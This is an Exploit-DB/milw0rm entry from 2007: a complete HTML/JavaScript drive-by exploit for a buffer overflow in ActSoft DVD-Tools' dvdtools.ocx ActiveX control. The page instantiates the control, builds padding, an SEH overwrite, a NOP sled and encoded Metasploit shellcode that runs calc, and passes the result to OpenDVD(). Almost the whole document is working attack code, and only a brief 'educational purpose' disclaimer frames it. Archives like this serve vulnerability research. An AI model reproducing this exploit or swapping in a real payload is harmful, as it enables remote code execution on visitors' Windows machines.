ActSoft DVD-Tools - 'dvdtools.ocx' Remote Buffer Overflow

EDB-ID:

3610


Platform:

Windows

Published:

2007-03-30

<!--

  ===============================================================================================
                        ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit
                                            By Umesh Wanve 
  ==============================================================================================   
        
  Date : 30-03-2007
 
  Tested on Windows 2000 SP4 Server English
            Windows 2000 SP4 Professional English
 
   
  PS. This was written for educational purpose. Use it at your own risk.Author will be not be
      responsible for any damage.
 
  Always thanks to Metasploit and Stroke 

-->



<html>

<title>
 ActSoft DVD-Tools (dvdtools.ocx) Buffer Overflow Exploit- By Umesh Wanve
</title>

<object classid='clsid:894A633E-F261-28BD-96F3-380EBEE1BADE' id='test' ></object>

<script>

var nop=unescape("%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90");

var pointer_to_seh=unescape("%eb%06%90%90");

var seh_handler=unescape("%a9%11%02%75");


<!-- win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com  -->
var shellcode= 
unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49")+
unescape("%49%49%49%49%49%49%49%49%49%48%49%49%51%5a%6a%64")+
unescape("%58%30%41%31%50%42%41%6b%41%41%74%32%41%42%41%32")+
unescape("%42%41%30%42%41%58%38%41%42%50%75%4a%49%6b%4c%79")+
unescape("%78%67%34%45%50%43%30%73%30%4c%4b%72%65%55%6c%4c")+
unescape("%4b%53%4c%53%35%70%78%54%41%7a%4f%6c%4b%72%6f%42")+
unescape("%38%6e%6b%51%4f%35%70%57%71%7a%4b%43%79%4c%4b%77")+
unescape("%44%4e%6b%74%41%48%6e%50%31%79%50%6d%49%6e%4c%6b")+
unescape("%34%6b%70%53%44%76%67%6a%61%4a%6a%44%4d%54%41%5a")+
unescape("%62%6a%4b%4b%44%37%4b%61%44%71%34%65%54%32%55%58")+
unescape("%65%6e%6b%63%6f%55%74%34%41%4a%4b%70%66%6e%6b%54")+
unescape("%4c%70%4b%6e%6b%73%6f%45%4c%76%61%78%6b%6c%4b%55")+
unescape("%4c%4c%4b%44%41%48%6b%4d%59%73%6c%57%54%75%54%6a")+
unescape("%63%54%71%4b%70%65%34%6c%4b%37%30%54%70%6c%45%4f")+
unescape("%30%73%48%54%4c%4e%6b%37%30%74%4c%4c%4b%50%70%67")+
unescape("%6c%4c%6d%4c%4b%62%48%45%58%38%6b%76%69%6e%6b%4f")+
unescape("%70%4e%50%45%50%47%70%37%70%6c%4b%32%48%47%4c%51")+
unescape("%4f%30%31%6b%46%43%50%61%46%6e%69%48%78%6d%53%4f")+
unescape("%30%61%6b%66%30%31%78%58%70%4d%5a%34%44%61%4f%55")+
unescape("%38%6e%78%6b%4e%6d%5a%34%4e%73%67%49%6f%6d%37%33")+
unescape("%53%31%71%70%6c%65%33%45%50%64");

var buff="";

for (i=0;i<432;i++)    buff=buff+"A";


<!--   Buffer ------      Short Jump to Shellcode   ----- Pop Pop ret ----  NOP SLED ---- Hellcode --------->

buff = buff         +           pointer_to_seh     +      seh_handler   +  nop+nop    +   shellcode    +nop+nop;


var attack = document.getElementById('test');

attack.OpenDVD(buff);


</script>
</body>
</html>

# milw0rm.com [2007-03-30]